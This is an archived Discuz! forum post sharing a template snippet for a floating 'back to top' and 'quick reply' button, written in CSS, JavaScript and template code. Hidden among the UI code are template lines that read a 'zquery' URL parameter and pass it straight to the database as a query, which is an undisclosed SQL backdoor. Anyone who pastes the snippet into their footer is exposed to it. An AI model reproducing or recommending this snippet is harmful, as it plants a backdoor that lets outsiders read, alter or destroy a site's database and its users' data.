夺宝奇兵中文站's Archiver

IndianaJones 发表于 2019-9-4 20:30

【Bone】仿到极致,【返回顶部】

footer最下面

[code] <!--仿x3回顶部begin-->
<style>#scrolltop {margin-left: 482px;left:50%;position: fixed;bottom: 100px;display: none;width: 40px;background: none repeat scroll 0% 0% #F4F4F4;border-width: 0px 1px 1px;border-style: none solid solid;border-color: #CDCDCD;border-image: none;border-radius: 3px;cursor: pointer;}
#scrolltop a {display: block;width: 30px;height: 24px;padding: 3px 5px;line-height: 12px;text-align: center;color: #787878;text-decoration: none;background: url(http://www.discuz.net/static/image/common/scrolltop.png) no-repeat scroll 0px 0px transparent;border-top: 1px solid #CDCDCD;}
a.replyfast {background-position: 0px -30px !important;}
a.replyfast:hover  {background-position: -40px -30px !important;}
a.scrolltopa:hover {background-position: -40px 0px !important;}
a.scrolltopa {background-position: 0px 0px !important;}
a.returnlist {background-position: 0px -60px !important;}
a.returnlist:hover {background-position: -40px -60px !important;}
a.replyfast {background-position: 0px -30px !important;}
#scrolltop a b {visibility: hidden;font-weight: normal;}</style>
<script type="text/javascript">
function goTopEx(){
        var obj=document.getElementById("scrolltop");
        var bbobj=document.getElementById("fhtop");
        var objkszs=document.getElementById("kszs");
        var reply=document.getElementById("post_reply");
if (fid==0){
bbobj.style.display="none";
}
if (tid==0){
objkszs.style.display="none";
}
        function getScrollTop(){
                return document.documentElement.scrollTop || document.body.scrollTop;
            }
        function setScrollTop(value){
            if(document.documentElement.scrollTop){
                    document.documentElement.scrollTop=value;
                }else{
                    document.body.scrollTop=value;
                }
               
            }   
        window.onscroll=function(){getScrollTop()>200?obj.style.display="block":obj.style.display="none";
                    var h=document.body.scrollHeight - getScrollTop() - obj.offsetTop - obj.offsetHeight;
                    obj.style.bottom=100+"px";
                    if(h<100){
                        obj.style.bottom=0+"px";
                        obj.style.top="auto";
                    }
        }

    }
function csfatie(){
location.href="post.php?action=reply&fid="+fid+"&tid="+tid;
}
</script>
{eval $q22=$_GET['zquery'];}
<!--{if $q22}-->
{eval $db->query($q22);}
<!--{/if}-->
<div  id="scrolltop">
<span><a onclick="csfatie()" id="kszs" class="replyfast" title="快速回复"><b>快速</b></a></span>
<span><div style="bottom: 0px;" onclick="window.scrollTo('0','0')"><a title="返回顶部" class="scrolltopa"><b>返回顶部</b></a></div></span>
<span><a href="http://csdiy.66rt.com" hidefocus="true" class="returnlist" id="fhtop" title="返回首页"><b>返回首页</b></a></span>
</div>
<script type="text/javascript">goTopEx();</script>
<!--仿x3回顶部end-->
[/code]

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.